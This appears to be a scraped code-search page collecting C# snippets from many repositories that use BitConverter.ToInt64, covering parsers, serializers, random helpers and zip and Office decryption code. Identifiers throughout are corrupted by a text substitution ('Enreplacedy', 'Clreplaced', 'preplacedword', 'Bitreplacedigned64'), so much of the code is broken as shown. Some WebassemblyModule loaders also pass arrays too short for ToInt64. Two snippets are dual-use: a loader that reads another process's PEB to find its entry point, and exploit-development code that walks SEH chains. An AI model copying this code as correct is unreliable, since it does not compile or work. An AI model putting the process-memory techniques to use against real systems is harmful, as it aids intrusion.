19 Source : WebassemblyModule.cs
with MIT License
from alexanderkyte

[MethodImpl(MethodImplOptions.AggressiveInlining)]
		protected long Load32Bitreplacedigned64 (int offset) {
			return BitConverter.ToInt64 (this.Copy (offset, 4), 0);
		}

19 Source : WebassemblyModule.cs
with MIT License
from alexanderkyte

[MethodImpl(MethodImplOptions.AggressiveInlining)]
		protected long LoadUnsigned16Bitreplacedigned64 (int offset) {
			return BitConverter.ToInt64 (this.Copy (offset, 2), 0);
		}

19 Source : WebassemblyModule.cs
with MIT License
from alexanderkyte

[MethodImpl(MethodImplOptions.AggressiveInlining)]
		protected long LoadSigned8Bitreplacedigned64 (int offset) {
			return BitConverter.ToInt64 (this.Copy (offset, 1), 0);
		}

19 Source : WebassemblyModule.cs
with MIT License
from alexanderkyte

[MethodImpl(MethodImplOptions.AggressiveInlining)]
		protected long LoadUnsigned8Bitreplacedigned64 (int offset) {
			return BitConverter.ToInt64 (this.Copy (offset, 1), 0);
		}

19 Source : WebassemblyModule.cs
with MIT License
from alexanderkyte

[MethodImpl(MethodImplOptions.AggressiveInlining)]
		protected long LoadSigned16Bitreplacedigned64 (int offset) {
			return BitConverter.ToInt64 (this.Copy (offset, 2), 0);
		}

19 Source : RandomExtensions.cs
with MIT License
from alexandre-spieser

public static long NextLong(this Random random, long min, long max)
        {
            if (max <= min)
                throw new ArgumentOutOfRangeException("max", "max must be > min!");

            //Working with ulong so that modulo works correctly with values > long.MaxValue
            ulong uRange = (ulong)(max - min);

            //Prevent a modulo bias; see https://stackoverflow.com/a/10984975/238419
            //for more information.
            //In the worst case, the expected number of calls is 2 (though usually it's
            //much closer to 1) so this loop doesn't really hurt performance at all.
            ulong ulongRand;
            do
            {
                byte[] buf = new byte[8];
                random.NextBytes(buf);
                ulongRand = (ulong)BitConverter.ToInt64(buf, 0);
            } while (ulongRand > ulong.MaxValue - ((ulong.MaxValue % uRange) + 1) % uRange);

            return (long)(ulongRand % uRange) + min;
        }

19 Source : Message.cs
with MIT License
from aljazsim

public static long ReadLong(byte[] buffer, ref int offset)
        {
            buffer.CannotBeNullOrEmpty();
            offset.MustBeGreaterThanOrEqualTo(0);
            offset.MustBeLessThanOrEqualTo(buffer.Length - LongLength);

            long result;

            result = IPAddress.NetworkToHostOrder(BitConverter.ToInt64(buffer, offset));

            offset += LongLength;

            return result;
        }

19 Source : Loader.cs
with BSD 3-Clause "New" or "Revised" License
from ambray

public IntPtr FindEntry(IntPtr hProc)
        {
            var basicInfo = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;

            var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp);
            if (!nt_success(success))
                throw new SystemException("[x] Failed to get process information!");

            IntPtr readLoc = IntPtr.Zero;
            var addrBuf = new byte[IntPtr.Size];
            if (IntPtr.Size == 4)
            {
                readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8);
            }
            else
            {
                readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16);
            }

            IntPtr nRead = IntPtr.Zero;

            if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero)
                throw new SystemException("[x] Failed to read process memory!");

            if (IntPtr.Size == 4)
                readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
            else
                readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            pModBase_ = readLoc;
            if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero)
                throw new SystemException("[x] Failed to read module start!");

            return GetEntryFromBuffer(inner_);
        }

19 Source : Visualization.cs
with MIT License
from AmigoCap

public override long ReadInt64() {
                var data = base.ReadBytes(8);
                Array.Reverse(data);
                return BitConverter.ToInt64(data, 0);
            }

19 Source : Memory.cs
with MIT License
from ancientproject

public void load(byte[] binary, int memOffset, int maxLen)
        {
            if (binary.Length % sizeof(long) != 0)
                _cpu.halt(0xD6);
            var bin = binary.Batch(sizeof(long)).Select(x => BitConverter.ToInt64(x.ToArray())).Reverse().ToArray();
            Array.Copy(bin, 0, mem, memOffset, maxLen);
        }

19 Source : DataBuffer.cs
with MIT License
from AndreasAmMueller

public long GetInt64(int index)
		{
			byte[] blob = GetBytes(index, 8);
			InternalSwap(blob);
			return BitConverter.ToInt64(blob, 0);
		}

19 Source : Extensions.cs
with MIT License
from AndreasAmMueller

public static long GetInt64(this IEnumerable<ModbusObject> list, int startIndex = 0, bool inverseRegisters = false)
		{
			if (list == null)
				throw new ArgumentNullException(nameof(list));

			int count = list.Count();
			if (count < 4)
				throw new ArgumentException("At least four registers needed", nameof(list));

			if (startIndex < 0 || count < startIndex + 4)
				throw new ArgumentOutOfRangeException(nameof(startIndex));

			if (!list.All(r => r.Type == ModbusObjectType.HoldingRegister) && !list.All(r => r.Type == ModbusObjectType.InputRegister))
				throw new ArgumentException("Invalid register type");

			list = list.OrderBy(r => r.Address).Skip(startIndex).Take(4);
			if (inverseRegisters)
				list = list.Reverse();

			var registers = list.ToArray();
			byte[] blob = new byte[registers.Length * 2];

			for (int i = 0; i < registers.Length; i++)
			{
				blob[i * 2] = registers[i].HiByte;
				blob[i * 2 + 1] = registers[i].LoByte;
			}

			if (BitConverter.IsLittleEndian)
				Array.Reverse(blob);

			return BitConverter.ToInt64(blob, 0);
		}

19 Source : Thread_Info.cs
with MIT License
from Andy53

private void PopulateTEBStruct64(byte[] tebBytes)
        {
            Teb = new TEB();
            Teb.CurrentSehFrame = (IntPtr)BitConverter.ToInt64(tebBytes, 0x0);
            Teb.TopOfStack = (IntPtr)BitConverter.ToInt64(tebBytes, 0x8);
            Teb.BottomOfStack = (IntPtr)BitConverter.ToInt64(tebBytes, 0x10);
            Teb.SubSystemTeb = (IntPtr)BitConverter.ToInt64(tebBytes, 0x18);
            Teb.FiberData = (IntPtr)BitConverter.ToInt64(tebBytes, 0x20);
            Teb.ArbitraryDataSlot = (IntPtr)BitConverter.ToInt64(tebBytes, 0x28);
            Teb.Teb = (IntPtr)BitConverter.ToInt64(tebBytes, 0x30);
            Teb.EnvironmentPointer = (IntPtr)BitConverter.ToInt64(tebBytes, 0x38);
            Teb.Identifiers.ProcessId = (IntPtr)BitConverter.ToInt64(tebBytes, 0x40);
            Teb.Identifiers.ThreadId = (IntPtr)BitConverter.ToInt64(tebBytes, 0x48);
            Teb.RpcHandle = (IntPtr)BitConverter.ToInt64(tebBytes, 0x50);
            Teb.Tls = (IntPtr)BitConverter.ToInt64(tebBytes, 0x58);
            Teb.Peb = (IntPtr)BitConverter.ToInt64(tebBytes, 0x60);
            Teb.LastErrorNumber = BitConverter.ToInt32(tebBytes, 0x68);
            Teb.CriticalSectionsCount = BitConverter.ToInt32(tebBytes, 0x6C);
            Teb.CsrClientThread = (IntPtr)BitConverter.ToInt64(tebBytes, 0x70);
            Teb.Win32ThreadInfo = (IntPtr)BitConverter.ToInt64(tebBytes, 0x78);
            Teb.Win32ClientInfo = new byte[4];
            Array.Copy(tebBytes, 0x80, Teb.Win32ClientInfo, 0, 4);
            Teb.CurrentLocale = (IntPtr)BitConverter.ToInt64(tebBytes, 0x84);
            Teb.FpSoftwareStatusRegister = (IntPtr)BitConverter.ToInt64(tebBytes, 0x8C);
            Teb.SystemReserved1 = new byte[216];
            Array.Copy(tebBytes, 0x94, Teb.SystemReserved1, 0, 216);
            Teb.ExceptionCode = (IntPtr)BitConverter.ToInt64(tebBytes, 0x16C);
            Teb.ActivationContextStack = new byte[4];
            Array.Copy(tebBytes, 0x174, Teb.ActivationContextStack, 0, 4);
            Teb.SpareBytes = new byte[24];
            Array.Copy(tebBytes, 0x178, Teb.SpareBytes, 0, 24);
            Teb.SystemReserved2 = new byte[40];
            Array.Copy(tebBytes, 0x190, Teb.SystemReserved2, 0, 40);
            Teb.GdiTebBatch = new byte[1248];
            Array.Copy(tebBytes, 0x1b8, Teb.GdiTebBatch, 0, 1248);
            Teb.GdiRegion = (IntPtr)BitConverter.ToInt64(tebBytes, 0x698);
            Teb.GdiPen = (IntPtr)BitConverter.ToInt64(tebBytes, 0x6A0);
            Teb.GdiBrush = (IntPtr)BitConverter.ToInt64(tebBytes, 0x6A8);
            Teb.RealProcessId = BitConverter.ToInt32(tebBytes, 0x6B0);
            Teb.RealThreadId = BitConverter.ToInt32(tebBytes, 0x6B4);
            Teb.GdiCachedProcessHandle = (IntPtr)BitConverter.ToInt64(tebBytes, 0x6B8);
            Teb.GdiClientProcessId = (IntPtr)BitConverter.ToInt64(tebBytes, 0x6C0);
            Teb.GdiClientThreadId = (IntPtr)BitConverter.ToInt64(tebBytes, 0x6C8);
            Teb.GdiThreadLocalInfo = (IntPtr)BitConverter.ToInt64(tebBytes, 0x6D0);
            Teb.UserReserved1 = new byte[20];
            Array.Copy(tebBytes, 0x6D8, Teb.UserReserved1, 0, 20);
            Teb.GlReserved1 = new byte[1248];
            Array.Copy(tebBytes, 0x6EC, Teb.GlReserved1, 0, 1248);
            Teb.LastStatusValue = BitConverter.ToInt32(tebBytes, 0x1250);
            Teb.StaticUnicodeString = new byte[214];
            Array.Copy(tebBytes, 0x1258, Teb.StaticUnicodeString, 0, 214);
            Teb.DeallocationStack = (IntPtr)BitConverter.ToInt64(tebBytes, 0x1478);
            Teb.TlsSlots = new byte[520];
            Array.Copy(tebBytes, 0x1480, Teb.TlsSlots, 0, 520);
            Teb.TlsLinks = BitConverter.ToInt64(tebBytes, 0x1680);
            Teb.Vdm = (IntPtr)BitConverter.ToInt64(tebBytes, 0x1688);
            Teb.RpcReserved = (IntPtr)BitConverter.ToInt64(tebBytes, 0x1690);
            Teb.ThreadErrorMode = (IntPtr)BitConverter.ToInt64(tebBytes, 0x1698);
        }

19 Source : Thread_Info.cs
with MIT License
from Andy53

internal ErcResult<List<Tuple<byte[], byte[]>>> BuildSehChain()
        {
            ErcResult<List<Tuple<byte[], byte[]>>> sehList = new ErcResult<List<Tuple<byte[], byte[]>>>(ThreadCore);
            sehList.ReturnValue = new List<Tuple<byte[], byte[]>>();

            if (Teb.Equals(default(TEB)))
            {
                sehList.Error = new Exception("Error: TEB structure for this thread has not yet been populated. Call PopulateTEB first");
                return sehList;
            }

            if(Teb.CurrentSehFrame == IntPtr.Zero)
            {
                sehList.Error = new Exception("Error: No SEH chain has been generated yet. An SEH chain will not be generated until a crash occurs.");
                return sehList;
            }

            byte[] sehEntry;
            byte[] sehFinal;

            int arraySize = 0;
            if(X64 == MachineType.x64)
            {
                arraySize = 8;
                sehEntry = new byte[arraySize];
                sehFinal = new byte[arraySize];
                sehEntry = BitConverter.GetBytes((long)Teb.CurrentSehFrame);
            }
            else
            {
                arraySize = 4;
                sehEntry = new byte[arraySize];
                sehFinal = new byte[arraySize];
                sehEntry = BitConverter.GetBytes((int)Teb.CurrentSehFrame);
            }
            
            for (int i = 0; i < sehFinal.Length; i++)
            {
                sehFinal[i] = 0xFF;
            }

            byte[] prevSEH = new byte[] { 0xFF };
            string pattern_standard = File.ReadAllText(ThreadCore.PatternStandardPath);
            string pattern_extended = File.ReadAllText(ThreadCore.PatternExtendedPath);
            while (!sehEntry.SequenceEqual(sehFinal))
            {
                byte[] reversedSehEntry = new byte[arraySize];
                byte[] nSeh = new byte[arraySize];
                byte[] sehHolder = new byte[arraySize * 2];
                
                int ret = 0;

                if(X64 == MachineType.x64)
                {
                    ret = ErcCore.ReadProcessMemory(ThreadProcess.ProcessHandle, (IntPtr)BitConverter.ToInt64(sehEntry, 0), sehHolder, arraySize * 2, out int retInt);
                    Array.Copy(sehHolder, 0, sehEntry, 0, arraySize);
                    Array.Copy(sehHolder, arraySize, nSeh, 0, arraySize);
                }
                else
                {
                    ret = ErcCore.ReadProcessMemory(ThreadProcess.ProcessHandle, (IntPtr)BitConverter.ToInt32(sehEntry, 0), sehHolder, arraySize * 2, out int retInt);
                    Array.Copy(sehHolder, 0, sehEntry, 0, arraySize);
                    Array.Copy(sehHolder, arraySize, nSeh, 0, arraySize);
                }

                if (ret != 0 && ret != 1)
                {
                    ERCException e = new ERCException("System error: An error occured when executing ReadProcessMemory\n Process Handle = 0x"
                    + ThreadProcess.ProcessHandle.ToString("X") + " TEB Current Seh = 0x" + Teb.CurrentSehFrame.ToString("X") +
                    " Return value = " + ret + Environment.NewLine + "Win32Exception: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    sehList.Error = e;
                    sehList.LogEvent();
                    return sehList;
                }

                Array.Reverse(nSeh);

                for(int i = 0; i < sehEntry.Length; i++)
                {
                    reversedSehEntry[i] = sehEntry[i];
                }

                Array.Reverse(reversedSehEntry, 0, reversedSehEntry.Length);
                if (prevSEH.SequenceEqual(reversedSehEntry))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }
                else if (!sehEntry.SequenceEqual(sehFinal) && !sehList.ReturnValue.Any(e => e.Item1.SequenceEqual(reversedSehEntry)))
                {
                    Tuple<byte[], byte[]> tuple = new Tuple<byte[], byte[]>(reversedSehEntry, nSeh);
                    sehList.ReturnValue.Add(tuple);
                }

                if (pattern_standard.Contains(Encoding.Unicode.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.Unicode.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.ASCII.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.ASCII.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.UTF32.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.UTF32.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.UTF7.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.UTF7.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.UTF8.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.UTF8.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                prevSEH = new byte[reversedSehEntry.Length];
                Array.Copy(reversedSehEntry, 0, prevSEH, 0, reversedSehEntry.Length);
            }

            SehChain = new List<Tuple<byte[], byte[]>>(sehList.ReturnValue);
            return sehList;
        }

19 Source : Thread_Info.cs
with MIT License
from Andy53

public List<Tuple<IntPtr, IntPtr>> GetSehChain()
        {
            List<Tuple<IntPtr, IntPtr>> SehPtrs = new List<Tuple<IntPtr, IntPtr>>();
            var pteb = PopulateTEB();
            if (pteb.Error != null)
            {
                throw pteb.Error;
            }

            if(SehChain == null)
            {
                throw new Exception("Error: No SEH chain has been generated yet. An SEH chain will not be generated until a crash occurs.");
            }

            if(X64 == MachineType.x64)
            {
                for (int i = 0; i < SehChain.Count; i++)
                {
                    Tuple<IntPtr, IntPtr> tuple = new Tuple<IntPtr, IntPtr>((IntPtr)BitConverter.ToInt64(SehChain[i].Item1, 0), (IntPtr)BitConverter.ToInt64(SehChain[i].Item2, 0));
                    SehPtrs.Add(tuple);
                }
            }
            else
            {
                for (int i = 0; i < SehChain.Count; i++)
                {
                    Tuple<IntPtr, IntPtr> tuple = new Tuple<IntPtr, IntPtr>((IntPtr)BitConverter.ToInt32(SehChain[i].Item1, 0), (IntPtr)BitConverter.ToInt32(SehChain[i].Item2, 0));
                    SehPtrs.Add(tuple);
                }
            }
            return SehPtrs;
        }

19 Source : StringHelper.cs
with Apache License 2.0
from anjoy8

public static long GetGuidToLongID()
        {
            byte[] buffer = Guid.NewGuid().ToByteArray();
            return BitConverter.ToInt64(buffer, 0);
        }

19 Source : InnerMessageDispatcher.cs
with MIT License
from AnotherEnd15

public void Dispatch(Session session, MemoryStream memoryStream)
        {
            ushort opcode = 0;
            try
            {
                long actorId = BitConverter.ToInt64(memoryStream.GetBuffer(), Packet.ActorIdIndex);
                opcode = BitConverter.ToUInt16(memoryStream.GetBuffer(), Packet.OpcodeIndex);
                Type type = null;
                object message = null;
#if SERVER   

                // 内网收到外网消息,有可能是gateUnit消息,还有可能是gate广播消息
                if (OpcodeTypeComponent.Instance.IsOutrActorMessage(opcode))
                {
                    InstanceIdStruct instanceIdStruct = new InstanceIdStruct(actorId);
                    instanceIdStruct.Process = Game.Options.Process;
                    long realActorId = instanceIdStruct.ToLong();
                    
                    
                    Enreplacedy enreplacedy = Game.EventSystem.Get(realActorId);
                    if (enreplacedy == null)
                    {
                        type = OpcodeTypeComponent.Instance.GetType(opcode);
                        message = MessageSerializeHelper.DeserializeFrom(opcode, type, memoryStream);
                        Log.Error($"not found actor: {session.DomainScene().Name}  {opcode} {realActorId} {message}");
                        return;
                    }
                    
                    if (enreplacedy is Session gateSession)
                    {
                        // 发送给客户端
                        memoryStream.Seek(Packet.OpcodeIndex, SeekOrigin.Begin);
                        gateSession.Send(0, memoryStream);
                        return;
                    }
                }
#endif
                        
                        
                type = OpcodeTypeComponent.Instance.GetType(opcode);
                message = MessageSerializeHelper.DeserializeFrom(opcode, type, memoryStream);

                if (message is IResponse iResponse && !(message is IActorResponse))
                {
                    session.OnRead(opcode, iResponse);
                    return;
                }

                OpcodeHelper.LogMsg(session.DomainZone(), opcode, message);

                // 收到actor消息,放入actor队列
                switch (message)
                {
                    case IActorRequest iActorRequest:
                    {
                        InstanceIdStruct instanceIdStruct = new InstanceIdStruct(actorId);
                        int fromProcess = instanceIdStruct.Process;
                        instanceIdStruct.Process = Game.Options.Process;
                        long realActorId = instanceIdStruct.ToLong();
                        
                        void Reply(IActorResponse response)
                        {
                            Session replySession = NetInnerComponent.Instance.Get(fromProcess);
                            // 发回真实的actorId 做查问题使用
                            replySession.Send(realActorId, response);
                        }

                        InnerMessageDispatcherHelper.HandleIActorRequest(opcode, realActorId, iActorRequest, Reply);
                        return;
                    }
                    case IActorResponse iActorResponse:
                    {
                        InstanceIdStruct instanceIdStruct = new InstanceIdStruct(actorId);
                        instanceIdStruct.Process = Game.Options.Process;
                        long realActorId = instanceIdStruct.ToLong();
                        InnerMessageDispatcherHelper.HandleIActorResponse(opcode, realActorId, iActorResponse);
                        return;
                    }
                    case IActorMessage iactorMessage:
                    {
                        InstanceIdStruct instanceIdStruct = new InstanceIdStruct(actorId);
                        instanceIdStruct.Process = Game.Options.Process;
                        long realActorId = instanceIdStruct.ToLong();
                        InnerMessageDispatcherHelper.HandleIActorMessage(opcode, realActorId, iactorMessage);
                        return;
                    }
                    default:
                    {
                        MessageDispatcherComponent.Instance.Handle(session, opcode, message);
                        break;
                    }
                }
            }
            catch (Exception e)
            {
                Log.Error($"InnerMessageDispatcher error: {opcode}\n{e}");
            }
        }

19 Source : RandomHelper.cs
with MIT License
from AnotherEnd15

public static long RandInt64(this Random random)
        {
            byte[] byte8 = new byte[8];
            random.NextBytes(byte8);
            return BitConverter.ToInt64(byte8, 0);
        }

19 Source : RandomHelper.cs
with MIT License
from AnotherEnd15

public static long RandInt64()
        {
            byte[] byte8 = new byte[8];
            random.NextBytes(byte8);
            return BitConverter.ToInt64(byte8, 0);
        }

19 Source : StreamUtils.cs
with MIT License
from ansel86castro

public static long ReadInt64(Stream stream)
        {
            byte[] buff = new byte[8];

            stream.Read(buff, 0, 8);
            return BitConverter.ToInt64(Convert(buff), 0);
        }

19 Source : Mappings.cs
with Apache License 2.0
from AntonioDePau

internal static Dictionary<Type, MappingDefinition> BigEndianMapping(Encoding encoding) => new Dictionary<Type, MappingDefinition>
        {
            [typeof(bool)] = new MappingDefinition
            {
                Writer = x =>
                {
                    if (x.BitIndex >= 8)
                        RealBinaryMapping.FlushBitField(x);
                    if (x.DataAttribute.BitIndex >= 0)
                        x.BitIndex = x.DataAttribute.BitIndex;

                    if (x.Item is bool bit && bit)
                        x.BitData |= (byte)(1 << x.BitIndex);

                    x.BitIndex++;
                },
                Reader = x =>
                {
                    if (x.BitIndex >= 8)
                        x.BitIndex = 0;
                    if (x.BitIndex == 0)
                        x.BitData = x.Reader.ReadByte();
                    if (x.DataAttribute.BitIndex >= 0)
                        x.BitIndex = x.DataAttribute.BitIndex;

                    return (x.BitData & (1 << x.BitIndex++)) != 0;
                }
            },
            [typeof(byte)] = new MappingDefinition
            {
                Writer = x => x.Writer.Write((byte)x.Item),
                Reader = x => x.Reader.ReadByte()
            },
            [typeof(sbyte)] = new MappingDefinition
            {
                Writer = x => x.Writer.Write((sbyte)x.Item),
                Reader = x => x.Reader.ReadSByte()
            },
            [typeof(short)] = new MappingDefinition
            {
                Writer = x =>
                {
                    x.Writer.Write((byte)(((short)x.Item >> 8) & 0xff));
                    x.Writer.Write((byte)(((short)x.Item >> 0) & 0xff));
                },
                Reader = x =>
                {
                    var data = x.Reader.ReadBytes(2);
                    Array.Reverse(data);
                    return BitConverter.ToInt16(data, 0);
                }
            },
            [typeof(ushort)] = new MappingDefinition
            {
                Writer = x =>
                {
                    x.Writer.Write((byte)(((ushort)x.Item >> 8) & 0xff));
                    x.Writer.Write((byte)(((ushort)x.Item >> 0) & 0xff));
                },
                Reader = x =>
                {
                    var data = x.Reader.ReadBytes(2);
                    Array.Reverse(data);
                    return BitConverter.ToUInt16(data, 0);
                }
            },
            [typeof(int)] = new MappingDefinition
            {
                Writer = x =>
                {
                    x.Writer.Write((byte)(((int)x.Item >> 24) & 0xff));
                    x.Writer.Write((byte)(((int)x.Item >> 16) & 0xff));
                    x.Writer.Write((byte)(((int)x.Item >> 8) & 0xff));
                    x.Writer.Write((byte)(((int)x.Item >> 0 & 0xff)));
                },
                Reader = x =>
                {
                    var data = x.Reader.ReadBytes(4);
                    Array.Reverse(data);
                    return BitConverter.ToInt32(data, 0);
                }
            },
            [typeof(uint)] = new MappingDefinition
            {
                Writer = x =>
                {
                    x.Writer.Write((byte)(((uint)x.Item >> 24) & 0xff));
                    x.Writer.Write((byte)(((uint)x.Item >> 16) & 0xff));
                    x.Writer.Write((byte)(((uint)x.Item >> 8) & 0xff));
                    x.Writer.Write((byte)(((uint)x.Item >> 0) & 0xff));
                },
                Reader = x =>
                {
                    var data = x.Reader.ReadBytes(4);
                    Array.Reverse(data);
                    return BitConverter.ToUInt32(data, 0);
                }
            },
            [typeof(long)] = new MappingDefinition
            {
                Writer = x =>
                {
                    x.Writer.Write((byte)(((long)x.Item >> 56) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 48) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 40) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 32) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 24) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 16) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 8) & 0xff));
                    x.Writer.Write((byte)(((long)x.Item >> 0) & 0xff));

                },
                Reader = x =>
                {
                    var data = x.Reader.ReadBytes(8);
                    Array.Reverse(data);
                    return BitConverter.ToInt64(data, 0);
                }
            },
            [typeof(ulong)] = new MappingDefinition
            {
                Writer = x =>
                {
                    x.Writer.Write((byte)(((ulong)x.Item >> 56) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 48) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 40) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 32) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 24) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 16) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 8) & 0xff));
                    x.Writer.Write((byte)(((ulong)x.Item >> 0) & 0xff));
                },
                Reader = x =>
                {
                    var data = x.Reader.ReadBytes(8);
                    Array.Reverse(data);
                    return BitConverter.ToUInt64(data, 0);
                }
            },
            [typeof(float)] = new MappingDefinition
            {
                Writer = x => x.Writer.Write((float)x.Item),
                Reader = x => x.Reader.ReadSingle()
            },
            [typeof(double)] = new MappingDefinition
            {
                Writer = x => x.Writer.Write((double)x.Item),
                Reader = x => x.Reader.ReadDouble()
            },
            [typeof(TimeSpan)] = new MappingDefinition
            {
                Writer = x => x.Writer.Write(((TimeSpan)x.Item).Ticks),
                Reader = x => new TimeSpan(x.Reader.ReadInt64())
            },
            [typeof(DateTime)] = new MappingDefinition
            {
                Writer = x => x.Writer.Write(((DateTime)x.Item).Ticks),
                Reader = x => new DateTime(x.Reader.ReadInt64())
            },
            [typeof(string)] = new MappingDefinition
            {
                Writer = x => WriteString(x.Writer, (string)x.Item, encoding, x.Count),
                Reader = x => ReadString(x.Reader, encoding, x.Count)
            },
            [typeof(byte[])] = new MappingDefinition
            {
                Writer = x =>
                {
                    var data = (byte[])x.Item;
                    var bytesToWrite = Math.Min(data.Length, x.Count);
                    x.Writer.Write(data, 0, bytesToWrite);

                    var remainingBytes = x.Count - bytesToWrite;
                    if (remainingBytes > 0)
                        x.Writer.Write(new byte[remainingBytes], 0, remainingBytes);
                },
                Reader = x => x.Reader.ReadBytes(x.Count)
            },
        };

19 Source : Constant.cs
with GNU General Public License v3.0
from anydream

static object GetValue(ElementType etype, byte[] data) {
			switch (etype) {
			case ElementType.Boolean:
				if (data == null || data.Length < 1)
					return false;
				return BitConverter.ToBoolean(data, 0);

			case ElementType.Char:
				if (data == null || data.Length < 2)
					return (char)0;
				return BitConverter.ToChar(data, 0);

			case ElementType.I1:
				if (data == null || data.Length < 1)
					return (sbyte)0;
				return (sbyte)data[0];

			case ElementType.U1:
				if (data == null || data.Length < 1)
					return (byte)0;
				return data[0];

			case ElementType.I2:
				if (data == null || data.Length < 2)
					return (short)0;
				return BitConverter.ToInt16(data, 0);

			case ElementType.U2:
				if (data == null || data.Length < 2)
					return (ushort)0;
				return BitConverter.ToUInt16(data, 0);

			case ElementType.I4:
				if (data == null || data.Length < 4)
					return (int)0;
				return BitConverter.ToInt32(data, 0);

			case ElementType.U4:
				if (data == null || data.Length < 4)
					return (uint)0;
				return BitConverter.ToUInt32(data, 0);

			case ElementType.I8:
				if (data == null || data.Length < 8)
					return (long)0;
				return BitConverter.ToInt64(data, 0);

			case ElementType.U8:
				if (data == null || data.Length < 8)
					return (ulong)0;
				return BitConverter.ToUInt64(data, 0);

			case ElementType.R4:
				if (data == null || data.Length < 4)
					return (float)0;
				return BitConverter.ToSingle(data, 0);

			case ElementType.R8:
				if (data == null || data.Length < 8)
					return (double)0;
				return BitConverter.ToDouble(data, 0);

			case ElementType.String:
				if (data == null)
					return string.Empty;
				return Encoding.Unicode.GetString(data, 0, data.Length / 2 * 2);

			case ElementType.Clreplaced:
				return null;

			default:
				return null;
			}
		}

19 Source : EncryptionHandler.cs
with Apache License 2.0
from Appdynamics

private MemoryStream DecryptDoreplacedent(byte[] data, EncryptionInfo encryptionInfo, string preplacedword)
        {
            long size = BitConverter.ToInt64(data, 0);

            var encryptedData = new byte[data.Length - 8];
            Array.Copy(data, 8, encryptedData, 0, encryptedData.Length);

            if (encryptionInfo is EncryptionInfoBinary)
            {
                return DecryptBinary((EncryptionInfoBinary)encryptionInfo, preplacedword, size, encryptedData);
            }
            else
            {
                return DecryptAgile((EncryptionInfoAgile)encryptionInfo, preplacedword, size, encryptedData, data);
            }

        }

19 Source : ZipEntry.Read.cs
with Apache License 2.0
from Appdynamics

private static bool ReadHeader(ZipEntry ze, System.Text.Encoding defaultEncoding)
        {
            int bytesRead = 0;

            // change for workitem 8098
            ze._RelativeOffsetOfLocalHeader = ze.ArchiveStream.Position;

            int signature = Ionic.Zip.SharedUtilities.ReadEntrySignature(ze.ArchiveStream);
            bytesRead += 4;

            // Return false if this is not a local file header signature.
            if (ZipEntry.IsNotValidSig(signature))
            {
                // Getting "not a ZipEntry signature" is not always wrong or an error.
                // This will happen after the last entry in a zipfile.  In that case, we
                // expect to read :
                //    a ZipDirEntry signature (if a non-empty zip file) or
                //    a ZipConstants.EndOfCentralDirectorySignature.
                //
                // Anything else is a surprise.

                ze.ArchiveStream.Seek(-4, SeekOrigin.Current); // unread the signature
                // workitem 10178
                Ionic.Zip.SharedUtilities.Workaround_Ladybug318918(ze.ArchiveStream);
                if (ZipEntry.IsNotValidZipDirEntrySig(signature) && (signature != ZipConstants.EndOfCentralDirectorySignature))
                {
                    throw new BadReadException(String.Format("  Bad signature (0x{0:X8}) at position  0x{1:X8}", signature, ze.ArchiveStream.Position));
                }
                return false;
            }

            byte[] block = new byte[26];
            int n = ze.ArchiveStream.Read(block, 0, block.Length);
            if (n != block.Length) return false;
            bytesRead += n;

            int i = 0;
            ze._VersionNeeded = (Int16)(block[i++] + block[i++] * 256);
            ze._BitField = (Int16)(block[i++] + block[i++] * 256);
            ze._CompressionMethod_FromZipFile = ze._CompressionMethod = (Int16)(block[i++] + block[i++] * 256);
            ze._TimeBlob = block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256;
            // transform the time data into something usable (a DateTime)
            ze._LastModified = Ionic.Zip.SharedUtilities.PackedToDateTime(ze._TimeBlob);
            ze._timestamp |= ZipEntryTimestamp.DOS;

            if ((ze._BitField & 0x01) == 0x01)
            {
                ze._Encryption_FromZipFile = ze._Encryption = EncryptionAlgorithm.PkzipWeak; // this *may* change after processing the Extra field
                ze._sourceIsEncrypted = true;
            }

            // NB: if ((ze._BitField & 0x0008) != 0x0008), then the Compressed, uncompressed and
